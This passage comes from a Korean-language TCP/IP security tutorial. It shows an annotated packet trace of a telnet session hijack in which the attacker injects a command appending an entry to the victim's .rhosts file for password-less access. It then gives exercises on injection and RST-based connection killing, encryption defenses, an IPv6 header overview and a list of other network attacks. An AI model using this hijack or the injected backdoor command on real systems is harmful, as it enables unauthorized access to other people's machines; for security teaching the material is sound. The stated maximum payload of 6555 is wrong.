
Seq: 1744128051 Ack: 1585921311  //[ TCP option : .A....  ]

--------------------------------------------------------------

143.248.175.3 (23) --> 143.248.90.36 (3487)

Seq: 1585921331 Ack: 1744128061  //[ TCP option : .A....  ]

--------------------------------------------------------------

143.248.90.36 (3487) --> 143.248.175.3 (23)

Seq: 1744128051 Ack: 1585921311  //[ TCP option : .A....  ]

--------------------------------------------------------------

143.248.175.3 (23) --> 143.248.90.36 (3487)

Seq: 1585921331 Ack: 1744128061  //[ TCP option : .A....  ]

# Server가 원하는 seq/ack에 맞게 우리의 데이터를 보낸다.

--------------------------------------------------------------

143.248.90.36 (3487) --> 143.248.175.3 (23)

Seq: 1744128061 Ack: 1585921331  //[ TCP option : .AP...  ]

DATA:

echo "ms chester "  >>$HOME/.rhosts

.

--------------------------------------------------------------

143.248.90.36 (3487) --> 143.248.175.3 (23)

Seq: 1744128051 Ack: 1585921311  //[ TCP option : .A....  ]

--------------------------------------------------------------

143.248.175.3 (23) --> 143.248.90.36 (3487)

Seq: 1585921331 Ack: 1744128098  //[ TCP option : .A....  ]

--------------------------------------------------------------

143.248.90.36 (3487) --> 143.248.175.3 (23)

Seq: 1744128051 Ack: 1585921311  //[ TCP option : .A....  ]

--------------------------------------------------------------

143.248.175.3 (23) --> 143.248.90.36 (3487)

Seq: 1585921331 Ack: 1744128098  //[ TCP option : .A....  ]

# Server는 이를 성공적으로 clien에게 echo 하고 있으나

# client는 desynchronized state에 빠져 있으므로 이를 받지

# 않고 drop 한다.

--------------------------------------------------------------

143.248.175.3 (23) --> 143.248.90.36 (3487)

Seq: 1585921331 Ack: 1744128098  //[ TCP option : .AP...  ]

DATA:

echo "ms chester "  >>$HOME/.rhosts

^@

--------------------------------------------------------------

143.248.90.36 (3487) --> 143.248.175.3 (23)

Seq: 1744128051 Ack: 1585921311  //[ TCP option : .A....  ]

# Ack storm이 계속된다.

--------------------------------------------------------------

143.248.90.36 (3487) --> 143.248.175.3 (23)

Seq: 1744128051 Ack: 1585921311  //[ TCP option : .A....  ]

--------------------------------------------------------------

143.248.175.3 (23) --> 143.248.90.36 (3487)

Seq: 1585921370 Ack: 1744128098  //[ TCP option : .A....  ]

--------------------------------------------------------------

143.248.175.3 (23) --> 143.248.90.36 (3487)

Seq: 1585921370 Ack: 1744128098  //[ TCP option : .A....  ]

--------------------------------------------------------------

143.248.90.36 (3487) --> 143.248.175.3 (23)

Seq: 1744128051 Ack: 1585921311  //[ TCP option : .A....  ]

--------------------------------------------------------------

143.248.175.3 (23) --> 143.248.90.36 (3487)

Seq: 1585921370 Ack: 1744128098  //[ TCP option : .A....  ]

--------------------------------------------------------------

143.248.90.36 (3487) --> 143.248.175.3 (23)

Seq: 1744128051 Ack: 1585921311  //[ TCP option : .A....  ]

--------------------------------------------------------------

....

..

.

이제 우리가 hijack에 성공했는지 확인해보자.

/* 예전의 connection을 끊어버리고 다시 adam에 접속한다. */

adam %

adam % cat .rhosts

cair chester

mschester<--- 우리가 위조한 data 이다.

adam %

무척이나 깔끔하게 처리되었다. 이렇게 hijack당하는 동안 client의 유저는 무슨 생각을 하고 있었을까 ? 아마도 네트웍이 잠시 다운된 것으로 생각하고 있었을 것이다.

2.9 Questions

□desynchronized state를 만들지 않고 우리가 원하는 패킷을 살짝 끼워 넣고 싶다면 어떠한 조작을 해야할까 ?

-Cf: CLT_SEQ,CLT_ACK

□임의로 connection을 끊어버리고 싶다면 어떻게 해야 할까 ?

-Cf: TCP control flags RST,FIN

2.10 Any Shields ?

위에서 보았듯이 매우 허무하게 또 자신이 해킹당하고 있는지도 모르게 해킹당하고 있다는 걸 알면 약간 섬짓할만도 하다. 그렇다면 TCP connection hijack에 대응할만한 방패가 있는가 ?

결론부터 말하자면 IPv4에서는 불가능하다. 단, hijack은 당했어도 시스템에 보안에 영향을 미치지 않을 방법은 있다. 바로 암호화이다 암호화를 해서 통신을 하게 되면 모니터링 당하고 있어도 실제로 통신하는 내용이 드러나지 않으며 hijack당했어도 hacker가 shell 명령어 등을 수행하지 못한다. 이러한 해결책들은 현재 어느 정도까지 나와있는가 ?

□ssh

RSA의 public/private key에 의한 암호화방식을 통해 통신할 수 있도록 해준다. 현재로서 가장 무난한 해결책이라고 할 수 있다.

□PGP

SMTP 즉 , 메일교환 역시 TCP 를 이용하므로 메일의 내용 또한 모니터링 될 수 있다. PGP로 메일을 encrypt해서 보내면 안전하다.

□IPng

위의 기능들을 protocol안에 구현할 수 있도록 설계되어 있는 IPv6가 곧 나오게 될것이다. 다음 장에서 IPv4 의 확장판인 IPv6 를 살펴보자.

3. IPng

3.1 IPv6 Header

IPng의 기본 header를 보면 다음과 같다.

앞에 나온 IPv4의 것과 비교하면 큰 차이점을 느낄 수 있는데, 그것은 바로 대단히 Simple하게 바뀌었다는 것이다. 위에서 Flow level은 약간 실험적인 시도로 일단 제하고 난다면, 남는 것은 몇몇개의 attribute들뿐이다. 특히 Checksum이 사라진 것은 주의할 점이고, Source/Dest address부분이 128bit로 크게 늘어났다는 사실을 알아야 한다. 그러면 각 attribute의 하는 일에 대해서 간략히 알아보도록 하겠다.

□Vers : IP의 버전을 의미하며 6으로 set되어있다.

□Pri : Priority를 정의한다.

□Flow level : 라우팅을 돕는 정보를 기록한다.

□Payload length : 헤더에 딸려 나오는 데이터의 크기를 정의한다.

□Next Header : 이번 헤더다음으로 딸려 나올 헤더를 정의한다. 이것은 IPng에서 크게 다음에 설명할 것이다.

□Hop Limit : 이것은 IPv4의 TTL과 비슷한 기능을 가진다.

□Source/Dest address : 128bit체계를 가지고 각 주소를 가리킨다.

그러면 이들 중에서 명확하지 않는 몇 가지에 대해서 자세히 설명하겠다. Flow level은 일종의 Cache역할을 하는 것으로, 똑같은 Source-Dest로 가는 데이터가 많을 것이다. 한번 접속이 이루어지면 많은 데이터가 같은 Source-Dest주소를 가지고 전송되는데, 이때 라우팅하는 측에서는 똑같은 곳으로 가는 패킷에 대해서도 각각 라우팅 경로를 계산하고 보내주는 작업을 하게 된다. 이때Flow level을 지정하면, 그 flow level을 보고 매치가 되는 경우, 그 복잡한 계산을 제하고 이전의 라우팅 경로 등의 정보를 그대로 사용하겠다는 의미이다.

Payload는 이 IP packet의 전체길이를 정의하고 있다. 전체가 16bit로 이루어져 있으므로, 6555크기의 패킷이 가장 큰 패킷의 크기이다. 이 이상의 데이터를 보내고자 할 경우에는 option으로 조정이 가능하도록 되어 있다.

Next Header는 IPng에서 가장 큰 변화를 일으킨 것으로 예전에 모든 attribute에 관한 정보를 20byte의 헤더에 전부 포함하고 그 외의 option을 optional하게 넣은 것을 기억할 것이다. 그러나, 이번에 새로 나타날 IPng에서는 위에서 정의한 것 이외의 정보를 보낼 시에는 새로운 header를 링크해서 사용하도록 되어 있다. 다음의 그림은 Extension header가 붙을 시의 IP diagram의 형태에 대한 것이다.

추가적으로 정의되고 있는 Extension header에는 다음과 같은 것들이 존재한다.

□HOP-BY-HOP options header

□Routing header * Fragmentation header

□Authentication header

□Encryption security payload

□Destination options header

그러면 패킷에 위의 각 옵션적인 header를 붙일 경우, Next Header attribute를 이용하여 연결시키게 된다. 그러면 필요에 따라서 위의 모든 헤더를 붙일 수도 있을 것이다. 각 header의 역할에 대해서는 굳이 설명하지 않겠다.

3.2 IPv6 의 새로운 기능들

IPng에서 새롭게 도입한 것으로 주요한 것들 중에 Fragmentation의 방식과 Authentication /Encryption이 있다. 이들은 Extension header에 의해서 정의되고 처리되고 있다.

Fragmentation방법은 라우터에 의해서 중간에 Fragmentation을 하는 것이 아니라, 호스트에서 Fragmentation정보를 얻어서 직접 한다. Fragmentation이 일어난 경우 위에서 이야기 한 기본(basic) header에 Fragmentation header를 붙여서 fragmentation이 일어났으며, 그것의 내용을 담게 된다.

Authentication/Encryption또한 Extension header에 의해서 처리하고 있으며, 필요에 따라 Encryption이 이루어지는 경우에 header를 붙여서 암호화를 하고 그렇게 되면 IP의 data부분이 자동으로 Encryption이 된다.

4. 기타 TCP/IP 관련 문제점들

□TCP SYN Flooding

TCP Initial three way hanshaking 에 대해서 생각해보자. CF: backlog queue

□ARP spoofing

Ethernet addressing 에 대해서 생각해보자.

□ICMP routing redirection

IP routing 에 대해서 생각해보자.

□DNS spoofing

Name Service 에 대해서 생각해보자.

참고문헌(Reference)

[Laurent95] Laurent Joncheray,Simple Active Attack against TCP, April 24, 1995

[Bellovin89] Bellovin,Security Problems in the TCP/IP,April, 1989

[Morris85] T.Morris,A weakness in the 4.2BSD UNIX TCP/IP Software

[RFC793] Request For Comment 793,Transmission Control Protocol", September 1981

[Stevens] Richard Stevens,TCP/IP Illustrated Volume I,Addison Wesley, 1994

[phrack Magazine] daemon9,Project Neptune,June, 1996

[Login] Security webzine, http://login.misotech.com